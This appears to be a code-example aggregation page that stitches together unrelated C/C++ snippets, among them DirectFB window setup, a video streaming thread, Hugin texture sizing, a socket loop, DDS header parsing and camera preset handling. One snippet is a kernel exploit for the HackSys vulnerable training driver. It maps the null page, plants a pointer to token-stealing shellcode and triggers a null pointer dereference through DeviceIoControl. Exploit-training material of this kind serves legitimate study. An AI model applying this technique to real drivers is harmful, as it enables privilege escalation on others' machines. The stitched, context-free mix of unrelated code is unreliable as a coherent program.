    if (G_UNLIKELY((err = display->dfb->GetDisplayLayer(display->dfb, DLID_PRIMARY, &display->layer)) != DFB_OK)) {
        _mdw_default_player_display_finalize(&display);
        g_assert(display == 0);
        MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error, 
            "GetDisplayLayer failed:%s", DirectFBErrorString(err));
    }

    DEBUG_INFO("Getting the configuration of video layer");
    DFBDisplayLayerConfig config;
    if (G_UNLIKELY((err = display->layer->GetConfiguration(display->layer, &config)) != DFB_OK)) {
        _mdw_default_player_display_finalize(&display);
        g_assert(display == NULL);
        MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error, 
            "GetConfiguration failed:%s", DirectFBErrorString(err));
    }

    DEBUG_INFO("Maximum width %d, Maximum height: %d", config.width, config.height);
    display->max_w = config.width;
    display->max_h = config.height;

    DEBUG_INFO("Creating a window");

    DFBWindowDescription wdesc;
    wdesc.flags = DWDESC_WIDTH | DWDESC_HEIGHT | DWDESC_POSX | DWDESC_POSY | DWDESC_CAPS | DWDESC_PIXELFORMAT;
    wdesc.width = display->max_w;
    wdesc.height = display->max_h;
    wdesc.posx = 0;
    wdesc.posy = 0;
    wdesc.caps = DWCAPS_NODECORATION;
    wdesc.pixelformat = DSPF_RGB32;

    if (G_UNLIKELY((err = display->layer->CreateWindow(display->layer, &wdesc, &display->window)) != DFB_OK)) {
        _mdw_default_player_display_finalize(&display);
        g_assert(display == NULL);
        MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error, 
            "CreateWindow failed:%s", DirectFBErrorString(err));
    }
    display->window->SetOpacity(display->window, 0xFF);
    display->w = wdesc.width;
    display->h = wdesc.height;
    display->x = wdesc.posx;
    display->y = wdesc.posy;

    DEBUG_INFO("Getting the surface associated with my window");
    if (G_UNLIKELY((err = display->window->GetSurface(display->window, &display->surface)) != DFB_OK)) {
        _mdw_default_player_display_finalize(&display);
        g_assert(display == NULL);
        MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error, 
            "GetSurface failed:%s", DirectFBErrorString(err));
    }
    
    display->surface->Clear(display->surface, 0x30, 0x80, 0x30, 0xFF);
    display->surface->Flip(display->surface, NULL, 0);

    DEBUG_INFO("DirectFB full inited");
    *p_display = display;

    display->main_queue = g_async_queue_new();
    display->directfb_queue = g_async_queue_new();

    DEBUG_INFO("Initing display thread");

    display->directfb_thread = g_thread_create(_do_display, display, FALSE, error);

    if (G_UNLIKELY(display->directfb_thread == NULL)) {
        g_assert (error == NULL || *error != NULL);  
        _mdw_default_player_display_finalize(&display);
        g_assert(display == NULL);
        /*MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error, 
            "g_thread_create failed");*/
        return FALSE;
    }

    /* wait for thread init */
    /* TODO: implement like mdw_default_player_decoder_ffmpeg.c to handler thread errors while initing */
    MdwMessage* message;
    message = mdw_message_get(display->main_queue, TRUE);
    if (message->type != MDW_MESSAGE_TYPE_READY) {
        mdw_message_free(message, TRUE);
        _mdw_default_player_display_finalize(&display);
        g_assert(display == NULL);
        MDW_DEFAULT_PLAYER_RAISE_ERROR_DISPLAY(error, 
            "failed to init directfb thread");
    }
    mdw_message_free(message, TRUE);
    g_assert(g_async_queue_length(display->main_queue) == 0);

    return TRUE;
}
Esempio n. 24
0
void* SdkServerStream::ThreadImpl()
{
    int ret;
    void* pBuf=NULL;
    uint32_t buflen=0;
    uint32_t bufsize = (1<<21);
    int infosize = 1024,inputsize;
    uint32_t type;
    uint32_t idx;
    uint64_t pts,lastidx=MAX_ULONGLONG;
    GMI_RESULT gmiret;
    std::auto_ptr<unsigned char> pExInfo2(new unsigned char[infosize]);
    unsigned char *pExInfo=pExInfo2.get();
    struct timeval tmval;
    struct timespec tmspec;
    unsigned long long lastgetpts=0,getpts;


    while(this->m_ThreadRunning)
    {
        SDK_ASSERT(pBuf == NULL);
        SDK_ASSERT(buflen == 0);

        pBuf = malloc(bufsize);
        if(pBuf ==NULL)
        {
            ret = -errno ? -errno : -1;
            goto out;
        }

        buflen = bufsize;
        inputsize= infosize;
        gmiret = this->m_IPCClient.Read(pBuf,(size_t*)&buflen,&tmval,pExInfo,(size_t*)&inputsize);
        if(gmiret==GMI_SUCCESS)
        {
            ExtMediaEncInfo* pInfo=(ExtMediaEncInfo*)pExInfo;
            type = P_FRAME_TYPE;
            idx = pInfo->s_FrameNum;

            if(lastidx != MAX_ULONGLONG)
            {
                if(lastidx != MAX_ULONG && (lastidx +1)!= idx)
                {
                    DEBUG_INFO("DISCARD lastidx 0x%08x idx 0x%08x\n",(uint32_t)lastidx,idx);
                }
                else if(lastidx == MAX_ULONG && idx != 0)
                {
                    DEBUG_INFO("DISCARD lastidx 0x%08x idx 0x%08x\n",(uint32_t)lastidx,idx);
                }
            }

            lastidx = idx;

            if(pInfo->s_FrameType == VIDEO_I_FRAME ||
                    pInfo->s_FrameType == VIDEO_IDR_FRAME)
            {
                type = I_FRAME_TYPE;
            }



            pts = VFREQ_PER_SECOND(tmval.tv_sec) + VFREQ_PER_USECOND(tmval.tv_usec);
            if(pts < 100000)
            {
                /*make sure it is not overflow*/
                pts *= 9;
                pts /= 100;
            }
            else
            {
                pts /= 100;
                pts *= 9;
            }

            ret = clock_gettime(CLOCK_MONOTONIC,&tmspec);
            if(ret < 0)
            {
                ERROR_INFO("could not get time error(%d)\n",errno);
            }
            else
            {
                getpts = VFREQ_PER_SECOND(tmspec.tv_sec) + VFREQ_PER_NANOSECOND(tmspec.tv_nsec);
                if(lastgetpts != 0 && (getpts - lastgetpts) >80000)
                {
                    ERROR_INFO("type %d EXPIRE TIME getpts 0x%llx lastgetpts 0x%llx (%lld)\n",type,getpts,lastgetpts,(getpts-lastgetpts));
                }
                lastgetpts = getpts;
            }
            //DEBUG_INFO("idx (0x%x) type (%d) pts %ld:%ld pts 0x%llx frametype (%d)\n",
            //           idx,type,tmval.tv_sec,tmval.tv_usec,pts,pInfo->s_FrameType);
            if(type == I_FRAME_TYPE)
            {
                DEBUG_INFO("[%d] type %d frame idx %d pts 0x%llx size(%d) %ld:%ld\n",this->m_StreamId,pInfo->s_FrameType,idx,pts,buflen,tmspec.tv_sec,tmspec.tv_nsec);
            }
            ret = this->__PushStreamData(pBuf,buflen,type,idx,pts);
            if(ret <=0)
            {
                /*we free memory for not insert into the buffer list*/
                SDK_ASSERT(type != I_FRAME_TYPE);
                //DEBUG_INFO("[%d]insert frame idx %d failed type (%d)\n",this->m_StreamId,idx,type);
                free(pBuf);
            }
            pBuf=NULL;
            buflen = 0;
            continue;
        }
        else if(gmiret == GMI_TRY_AGAIN_ERROR)
        {
            /*nothing to read ,so we should read later*/
            free(pBuf);
            pBuf = NULL;
            buflen = 0;
            continue;
        }
        else
        {
            /*nothing to read ,so we should read later*/
            free(pBuf);
            pBuf = NULL;
            buflen = 0;
            continue;
        }

    }

    ret = 0;

out:
    if(pBuf)
    {
        free(pBuf);
    }
    pBuf = NULL;
    buflen = 0;
    this->m_ThreadExited = 1;
    return	(void*)ret;
}
DWORD WINAPI NullPointerDereferenceThread(LPVOID lpParameter) {
    HANDLE hFile = NULL;
    DWORD lpBytesReturned;
    PVOID nullPointer = NULL;
    ULONG magicValue = 0xBAADF00D;
    PVOID nullPageBaseAddress = NULL;
    LPCSTR lpFileName = (LPCSTR)DEVICE_NAME;
    PVOID pEopShellcode = &TokenStealingShellcodeWin7Generic;

    __try {
        DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");

        if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
            DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
        }
        else {
            DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
        }

        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName);

        hFile = GetDeviceHandle(lpFileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        DEBUG_INFO("\t\t[+] Mapping Null Page\n");

        if (!MapNullPage()) {
            DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }

        DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout\n");

        nullPointer = (PVOID)((ULONG)nullPageBaseAddress + 0x4);

        // now set the function pointer
        *(PULONG)nullPointer = (ULONG)pEopShellcode;

        DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p\n", *(PULONG)nullPointer);
        DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p\n", nullPointer);

        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopShellcode);

        DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
                        (LPVOID)&magicValue,
                        0,
                        NULL,
                        0,
                        &lpBytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}
void TextureManager::CheckUpdate()
{
    // The images or their lenses have changed.
    // Find what size we should have the textures.
    // Note that one image changing does affect the rest, if an image suddenly
    // takes up more space, the others should take up less.
    unsigned int num_images = m_pano->getNrOfImages();
    if (num_images == 0)
    {
        textures.clear();
        return;
    }
    // if we are doing photometric correction, and someone changed the output
    // exposure, all of our images are at the wrong exposure.
    if (photometric_correct && view_state->RequireRecalculatePhotometric())
    {
        textures.clear();
    }
    HuginBase::PanoramaOptions *dest_img = view_state->GetOptions();
    // Recalculuate the ideal image density if required
    // TODO tidy up once it works.
    DEBUG_INFO("Updating texture sizes.");
    // find the total of fields of view of the images, in degrees squared
    // we assume each image has the same density across all it's pixels
    double total_fov = 0.0;
    for (unsigned int image_index = 0; image_index < num_images; image_index++)
    {
        HuginBase::SrcPanoImage *src = view_state->GetSrcImage(image_index);
        double aspect = double(src->getSize().height())
                                               / double(src->getSize().width());
        total_fov += src->getHFOV() * aspect;
    };
    // now find the ideal density
    texel_density = double(GetMaxTotalTexels()) / total_fov;

    // now recalculate the best image sizes
    // The actual texture size is the biggest one possible withouth scaling the
    // image up in any direction. We only specifiy mipmap levels we can fit in
    // a given amount of texture memory, while respecting the image's FOV.
    int texels_used = 0;
    double ideal_texels_used = 0.0;
    for (unsigned int image_index = 0; image_index < num_images; image_index++)
    {    
        // find this texture
        // if it has not been created before, it will be created now.
        std::map<TextureKey, TextureInfo>::iterator it;
        HuginBase::SrcPanoImage *img_p = view_state->GetSrcImage(image_index);
        TextureKey key(img_p, &photometric_correct);
        it = textures.find(key);
        TextureInfo *texinfo;
        /* This section would allow us to reuse textures generated when we want
         * to change the size. It is not used as it causes segmentation faults
         * under Ubuntu 8.04's "ati" graphics driver.
         */
      #if 0
        if (it == textures.end())
        {
            // We haven't seen this image before.
            // Find a size for it and make its texture.
            // store the power that 2 is raised to, not the actual size
            unsigned int max_tex_width_p = int(log2(img_p->getSize().width())),
                        max_tex_height_p = int(log2(img_p->getSize().height()));
            // check this is hardware supported.
            {
              unsigned int biggest = GetMaxTextureSizePower();
              if (biggest < max_tex_width_p) max_tex_width_p = biggest;
              if (biggest < max_tex_height_p) max_tex_height_p = biggest;
            }
            std::cout << "Texture size for image " << image_index << " is "
                      << (1 << max_tex_width_p) << " by "
                      << (1 << max_tex_height_p) << "\n";
            // create a new texinfo and store the texture details.
            std::cout << "About to create new TextureInfo for "
                      << img_p->getFilename()
                      << ".\n";
            std::pair<std::map<TextureKey, TextureInfo>::iterator, bool> ins;
            ins = textures.insert(std::pair<TextureKey, TextureInfo>
                                 (TextureKey(img_p, &photometric_correct),
                // the key is used to identify the image with (or without)
                // photometric correction parameters.
                              TextureInfo(max_tex_width_p, max_tex_height_p)
                            ));
            texinfo = &((ins.first)->second);
        }
        else
        {
            texinfo = &(it->second);
        }
                
        // find the highest mipmap we want to use.
        double hfov = img_p->getHFOV(),
               aspect = double (texinfo->height) / double (texinfo->width),
               ideal_texels = texel_density * hfov * aspect,
               // we would like a mipmap with this size:
               ideal_tex_width = sqrt(ideal_texels / aspect),
               ideal_tex_height = aspect * ideal_tex_width;
        // Ideally this mipmap would bring us up to this many texels
        ideal_texels_used += ideal_texels;
        std::cout << "Ideal mip size: " << ideal_tex_width << " by "
                  << ideal_tex_height << "\n";
        // Find the smallest mipmap level that is at least this size.
        int max_mip_level = (texinfo->width_p > texinfo->height_p)
                            ? texinfo->width_p : texinfo->height_p;
        int mip_level = max_mip_level - ceil((ideal_tex_width > ideal_tex_height)
                        ? log2(ideal_tex_width) : log2(ideal_tex_height));
        // move to the next mipmap level if we are over budget.
        if ((texels_used + (1 << (texinfo->width_p + texinfo->height_p
                                  - mip_level * 2)))
            > ideal_texels_used)
        {
            // scale down
            mip_level ++;
        }
        // don't allow any mipmaps smaller than the 1 by 1 pixel one.
        if (mip_level > max_mip_level) mip_level = max_mip_level;
        // don't allow any mipmaps with a negative level of detail (scales up)
        if (mip_level < 0) mip_level = 0;
        // find the size of this level
        int mip_width_p = texinfo->width_p - mip_level,
            mip_height_p = texinfo->height_p - mip_level;
        // check if we have scaled down to a single line, and make sure we
        // limit the line's width to 1 pixel.
        if (mip_width_p < 0) mip_width_p = 0;
        if (mip_height_p < 0) mip_height_p = 0;
        
        // now count these texels as used- we are ignoring the smaller mip
        //   levels, they add 1/3 on to the size.
        texels_used += 1 << (mip_width_p + mip_height_p);
        std::cout << "biggest mipmap of image " << image_index << " is "
                  << (1 << mip_width_p) << " by " << (1 << mip_height_p)
                  << " (level " << mip_level <<").\n";
        std::cout << "Ideal texels used " << int(ideal_texels_used)
                  << ", actually used " << texels_used << ".\n\n";
        if (texinfo->min_lod != mip_level)
        {
            // maximum level required changed.
            if (texinfo->min_lod > mip_level)
            {
                // generate more levels
                texinfo->DefineLevels(mip_level,
                                      (texinfo->min_lod > max_mip_level) ?
                                      max_mip_level : texinfo->min_lod - 1,
                                      photometric_correct, dest_img,
                                      view_state->GetSrcImage(image_index));
            }
            texinfo->SetMaxLevel(mip_level);
            texinfo->min_lod = mip_level;
        }
    }
    #endif
    /* Instead of the above section, replace the whole texture when appropriate:
        */
        // Find a size for it
        double hfov = img_p->getHFOV(),
           aspect = double (img_p->getSize().height())
                                            / double (img_p->getSize().width()),
           ideal_texels = texel_density * hfov * aspect,
           // we would like a texture this size:
           ideal_tex_width = sqrt(ideal_texels / aspect),
           ideal_tex_height = aspect * ideal_tex_width;
        // shrink if bigger than the original, avoids scaling up excessively.
        if (ideal_tex_width > img_p->getSize().width())
                ideal_tex_width = img_p->getSize().width();
        if (ideal_tex_height > img_p->getSize().height())
                ideal_tex_height = img_p->getSize().height();
        // we will need to round up/down to a power of two
        // round up first, then shrink if over budget.
        // store the power that 2 is raised to, not the actual size
        unsigned int tex_width_p = int(log2(ideal_tex_width)) + 1,
                    tex_height_p = int(log2(ideal_tex_height)) + 1;
        // check this is hardware supported.
        {
          unsigned int biggest = GetMaxTextureSizePower();
          if (biggest < tex_width_p) tex_width_p = biggest;
          if (biggest < tex_height_p) tex_height_p = biggest;
        }
        
        // check if this is over budget.
        ideal_texels_used += ideal_texels; 
        // while the texture is over budget, shrink it
        while (  (texels_used + (1 << (tex_width_p + tex_height_p)))
            > ideal_texels_used)
        {
            // smaller aspect means the texture is wider.
            if ((double) (1 << tex_height_p) / (double) (1 << tex_width_p)
               < aspect)
            {
                tex_width_p--;
            } else {
                tex_height_p--;
            }
        }
        // we have a nice size
        texels_used += 1 << (tex_width_p + tex_height_p);
        if (   it == textures.end()
            || (it->second).width_p != tex_width_p
            || (it->second).height_p != tex_height_p)
        {
            // Either: 1. We haven't seen this image before
            //     or: 2. Our texture for this is image is the wrong size
            // ...therefore we make a new one the right size:
            //
            // remove duplicate key if exists
            TextureKey checkKey (img_p, &photometric_correct);
            if (textures.find(checkKey) != textures.end()) {
                // Already exists in map, remove it first before adding a new one
                textures.erase(checkKey);
            }

            std::pair<std::map<TextureKey, TextureInfo>::iterator, bool> ins;
            ins = textures.insert(std::pair<TextureKey, TextureInfo>
                                 (TextureKey(img_p, &photometric_correct),
                // the key is used to identify the image with (or without)
                // photometric correction parameters.
                              TextureInfo(view_state, tex_width_p, tex_height_p)
                            ));
           // create and upload the texture image
           texinfo = &((ins.first)->second);
           texinfo->DefineLevels(0, // minimum mip level
                                 // maximum mip level
                        tex_width_p > tex_height_p ? tex_width_p : tex_height_p,
                                photometric_correct,
                                *dest_img,
                                *view_state->GetSrcImage(image_index));
           texinfo->DefineMaskTexture(*view_state->GetSrcImage(image_index));
        }
        else
        {
            if(view_state->RequireRecalculateMasks(image_index))
            {
                //mask for this image has changed, also update only mask
                (*it).second.UpdateMask(*view_state->GetSrcImage(image_index));
            };
        }
    }
Esempio n. 27
0
S32 CNetObj::Run()
{
	DEBUG_INFO("CNetObj::Run()...\n");
	//Test;
	//m_pStream->Open("E:\\Src\\Video\\TestVideo.avi", AV_STREAM_MODE);
	//m_bAvStreamSnd  = true;

	S32 rSize   = 0;
	S32 FreeLen = 0;

	timeval tv = { 0, 200 * 1000 };
	fd_set rFds;
	fd_set wFds;
	fd_set * pWFds = NULL;

	m_bRuning = true;
	while (m_bRuning) 
	{	
		if (m_bResetSock)
		{
			if (MW_SUCC != m_Sock.Reconnect())
			{
				sleep(3);
				continue;
			}
			m_bResetSock = false;
		}
		FD_ZERO(&rFds);
		FD_ZERO(&wFds);
		FD_SET(m_Sock.Handle(), &rFds);
		FD_SET(m_Sock.Handle(), &wFds);
		if (m_bAvStreamSnd)
		{
			pWFds = &wFds;
		}
		else
		{
			pWFds = NULL;
		} 
		if (::select(m_Sock.Handle() + 1, &rFds, pWFds, NULL, &tv) <= 0) 
		{ 
			continue; 
		}
		if (FD_ISSET(m_Sock.Handle(), &rFds)) 
		{
			FreeLen = m_RcvBuf.GetFreeLen();
			if (FreeLen < 64) 
			{
				DEBUG_INFO("The packet is to bigger...\n");
				m_RcvBuf.Clear();
				FreeLen = m_RcvBuf.GetFreeLen();
			}
			rSize = RcvData(m_RcvBuf.GetWrPos(),  FreeLen, 3);
			if (rSize > 0) 
			{
				m_RcvBuf.AddDataLen(rSize);
				ParseData();
			} 
		}

 		if (pWFds && FD_ISSET(m_Sock.Handle(), &wFds)) 
		{
			SndAvStream(5);
		}
	}
	m_bSafeDelete = true;
	//ObjStop();

	DEBUG_INFO("Session exit sHandle:%d\n", m_Sock.Handle());

	return MW_SUCC;
}
Esempio n. 28
0
void CTcpConn::DoCancel()
{
	DEBUG_INFO("CTcpConn(%p) DoCancel\n", this);

	iSocket.CancelAll();
}
Esempio n. 29
0
static bool print_dds_info(const void *pData, crn_uint32 data_size, unsigned int *width, unsigned int *height, unsigned int *format, unsigned int *mipmaps)
{
   if ((data_size < 128) || (*reinterpret_cast<const crn_uint32*>(pData) != crnlib::cDDSFileSignature))
      return false;

   const crnlib::DDSURFACEDESC2 &desc = *reinterpret_cast<const crnlib::DDSURFACEDESC2*>((reinterpret_cast<const crn_uint8*>(pData) + sizeof(crn_uint32)));
   if (desc.dwSize != sizeof(crnlib::DDSURFACEDESC2))
      return false;

   DEBUG_INFO("DDS file information:\n");
   DEBUG_INFO("File size: %u, Dimensions: %ux%u, Pitch/LinearSize: %u\n", data_size, desc.dwWidth, desc.dwHeight, desc.dwLinearSize);
   DEBUG_INFO("MipMapCount: %u, AlphaBitDepth: %u\n", desc.dwMipMapCount, desc.dwAlphaBitDepth);

   *width = desc.dwWidth;
   *height = desc.dwHeight;
   *format = desc.ddpfPixelFormat.dwFourCC;
   *mipmaps = desc.dwMipMapCount;
   return true;

#if 0 // Rest of the code is a copy from crunch project. Will be adapted if needed, but only as a reminder here

   const char *pDDSDFlagNames[] =
   {
      "DDSD_CAPS", "DDSD_HEIGHT", "DDSD_WIDTH", "DDSD_PITCH",
      NULL, "DDSD_BACKBUFFERCOUNT", "DDSD_ZBUFFERBITDEPTH", "DDSD_ALPHABITDEPTH",
      NULL, NULL, NULL, "DDSD_LPSURFACE",
      "DDSD_PIXELFORMAT", "DDSD_CKDESTOVERLAY", "DDSD_CKDESTBLT", "DDSD_CKSRCOVERLAY",
      "DDSD_CKSRCBLT", "DDSD_MIPMAPCOUNT", "DDSD_REFRESHRATE", "DDSD_LINEARSIZE",
      "DDSD_TEXTURESTAGE", "DDSD_FVF", "DDSD_SRCVBHANDLE", "DDSD_DEPTH"
   };

   DEBUG_INFO("DDSD Flags: 0x%08X\n", desc.dwFlags);
   for (unsigned int i = 0; i < sizeof(pDDSDFlagNames)/sizeof(pDDSDFlagNames[0]); i++)
      if ((pDDSDFlagNames[i]) && (desc.dwFlags & (1 << i)))
         DEBUG_INFO(" %s\n", pDDSDFlagNames[i]);

   DEBUG_INFO("ddpfPixelFormat.dwFlags: 0x%08X\n", desc.ddpfPixelFormat.dwFlags);
   if (desc.ddpfPixelFormat.dwFlags & crnlib::DDPF_ALPHAPIXELS)     DEBUG_INFO(" DDPF_ALPHAPIXELS\n");
   if (desc.ddpfPixelFormat.dwFlags & crnlib::DDPF_ALPHA)           DEBUG_INFO(" DDPF_ALPHA\n");
   if (desc.ddpfPixelFormat.dwFlags & crnlib::DDPF_FOURCC)          DEBUG_INFO(" DDPF_FOURCC\n");
   if (desc.ddpfPixelFormat.dwFlags & crnlib::DDPF_PALETTEINDEXED8) DEBUG_INFO(" DDPF_PALETTEINDEXED8\n");
   if (desc.ddpfPixelFormat.dwFlags & crnlib::DDPF_RGB)             DEBUG_INFO(" DDPF_RGB\n");
   if (desc.ddpfPixelFormat.dwFlags & crnlib::DDPF_LUMINANCE)       DEBUG_INFO(" DDPF_LUMINANCE\n");

   DEBUG_INFO("ddpfPixelFormat.dwFourCC: 0x%08X '%c' '%c' '%c' '%c'\n",
      desc.ddpfPixelFormat.dwFourCC,
      std::max(32U, desc.ddpfPixelFormat.dwFourCC & 0xFF),
      std::max(32U, (desc.ddpfPixelFormat.dwFourCC >> 8) & 0xFF),
      std::max(32U, (desc.ddpfPixelFormat.dwFourCC >> 16) & 0xFF),
      std::max(32U, (desc.ddpfPixelFormat.dwFourCC >> 24) & 0xFF));

   DEBUG_INFO("dwRGBBitCount: %u 0x%08X\n",
      desc.ddpfPixelFormat.dwRGBBitCount, desc.ddpfPixelFormat.dwRGBBitCount);

   DEBUG_INFO("dwRGBBitCount as FOURCC: '%c' '%c' '%c' '%c'\n",
      std::max(32U, desc.ddpfPixelFormat.dwRGBBitCount & 0xFF),
      std::max(32U, (desc.ddpfPixelFormat.dwRGBBitCount >> 8) & 0xFF),
      std::max(32U, (desc.ddpfPixelFormat.dwRGBBitCount >> 16) & 0xFF),
      std::max(32U, (desc.ddpfPixelFormat.dwRGBBitCount >> 24) & 0xFF));

   DEBUG_INFO("dwRBitMask: 0x%08X, dwGBitMask: 0x%08X, dwBBitMask: 0x%08X, dwRGBAlphaBitMask: 0x%08X\n",
      desc.ddpfPixelFormat.dwRBitMask, desc.ddpfPixelFormat.dwGBitMask, desc.ddpfPixelFormat.dwBBitMask, desc.ddpfPixelFormat.dwRGBAlphaBitMask);

   DEBUG_INFO("ddsCaps.dwCaps: 0x%08X\n", desc.ddsCaps.dwCaps);
   if (desc.ddsCaps.dwCaps & crnlib::DDSCAPS_COMPLEX)   DEBUG_INFO(" DDSCAPS_COMPLEX\n");
   if (desc.ddsCaps.dwCaps & crnlib::DDSCAPS_TEXTURE)   DEBUG_INFO(" DDSCAPS_TEXTURE\n");
   if (desc.ddsCaps.dwCaps & crnlib::DDSCAPS_MIPMAP)    DEBUG_INFO(" DDSCAPS_MIPMAP\n");

   DEBUG_INFO("ddsCaps.dwCaps2: 0x%08X\n", desc.ddsCaps.dwCaps2);
   const char *pDDCAPS2FlagNames[] =
   {
      NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
      NULL, "DDSCAPS2_CUBEMAP", "DDSCAPS2_CUBEMAP_POSITIVEX", "DDSCAPS2_CUBEMAP_NEGATIVEX",
      "DDSCAPS2_CUBEMAP_POSITIVEY", "DDSCAPS2_CUBEMAP_NEGATIVEY", "DDSCAPS2_CUBEMAP_POSITIVEZ", "DDSCAPS2_CUBEMAP_NEGATIVEZ",
      NULL, NULL, NULL, NULL,
      NULL, "DDSCAPS2_VOLUME"
   };
   for (unsigned int i = 0; i < sizeof(pDDCAPS2FlagNames)/sizeof(pDDCAPS2FlagNames[0]); i++)
      if ((pDDCAPS2FlagNames[i]) && (desc.ddsCaps.dwCaps2 & (1 << i)))
         DEBUG_INFO(" %s\n", pDDCAPS2FlagNames[i]);

   DEBUG_INFO("ddsCaps.dwCaps3: 0x%08X, ddsCaps.dwCaps4: 0x%08X\n",
      desc.ddsCaps.dwCaps3, desc.ddsCaps.dwCaps4);

   return true;
#endif
}
Esempio n. 30
0
/**********************************
**Writer:YasirLiang
**Date:2015-12-8
**Name:camera_preset_save
**Param:
**	cmd:0
**	data:NULL
**	data_len:0
**Return Value: -1:Error
**State:在当前预置参数gcurpresetcmr中保存终
**	端的预置位
************************************/
int camera_preset_save( uint16_t cmd, void *data, uint32_t data_len )
{
	uint16_t index = 0;
	uint8_t preset = 0;

	DEBUG_INFO( "=====gcurpresetcmr.tmnl_addr = 0x%04x", gcurpresetcmr.tmnl_addr );
	if( 0xffff == gcurpresetcmr.tmnl_addr )
	{
		return -1;
	}

	if( camera_preset_list_exit_addr( gcurpresetcmr.tmnl_addr, &index)) 
	{
		gpresetcmr_list[index].preset_point_num = 0xff;
		if( !camera_prese_num(gcurpresetcmr.camera_num, &preset ))
		{
			return -1;
		}

		gcurpresetcmr.preset_point_num = preset;
	}
	else if( camera_preset_list_exit_addr(0xffff, &index) )
	{
		gpresetcmr_list[index].preset_point_num = 0xff;
		gpresetcmr_list[index].camera_num = 0xff;
		if( !camera_prese_num(gcurpresetcmr.camera_num, &preset) )
		{
			return -1;
		}

		gcurpresetcmr.preset_point_num = preset;
	}
	else
	{
		DEBUG_INFO( "not find preset addr!" );
		return -1;
	}
	
	gpresetcmr_list[index].camera_num = gcurpresetcmr.camera_num;
	gpresetcmr_list[index].preset_point_num = gcurpresetcmr.preset_point_num;
	gpresetcmr_list[index].tmnl_addr = gcurpresetcmr.tmnl_addr;
	DEBUG_INFO( "index in gpresetcmr_list = %d, [0x%04x-%d-%d]", index, gpresetcmr_list[index].tmnl_addr, gpresetcmr_list[index].camera_num, gpresetcmr_list[index].preset_point_num );

	camera_pro_control( gcurpresetcmr.camera_num, CAMERA_CTRL_PRESET_SET, 0,\
		gcurpresetcmr.preset_point_num );

	camera_profile_format cmr_file;
	int write_byte = 0;
	
	write_byte = sizeof(preset_point_format)*PRESET_NUM_MAX;
	memcpy( cmr_file.cmr_preset_list, gpresetcmr_list, write_byte );
	camera_profile_fill_check( &cmr_file, PRESET_NUM_MAX );
	if( -1 != Fseek(gpreset_fd, 0, SEEK_SET) )
	{
		camera_profile_write( gpreset_fd, &cmr_file );
		Fflush( gpreset_fd );	
	}
#ifdef __CAMERA_DEBUG__
		preset_camera_list_info();
#endif

	if((gcurpresetcmr.tmnl_addr != FULL_VIEW_ADDR) && (gcurpresetcmr.tmnl_addr != BACKUP_FULL_VIEW_ADDR))
	{//非全景定位保存预置后需要熄灭相应终端的指示灯
		tmnl_pdblist close_node = found_terminal_dblist_node_by_addr( gcurpresetcmr.tmnl_addr ); // 注: ====>>>这里也操作了终端链表<<<<<<<<=====
		trans_model_unit_disconnect( close_node->tmnl_dev.entity_id, close_node );
	}

	return 0;
}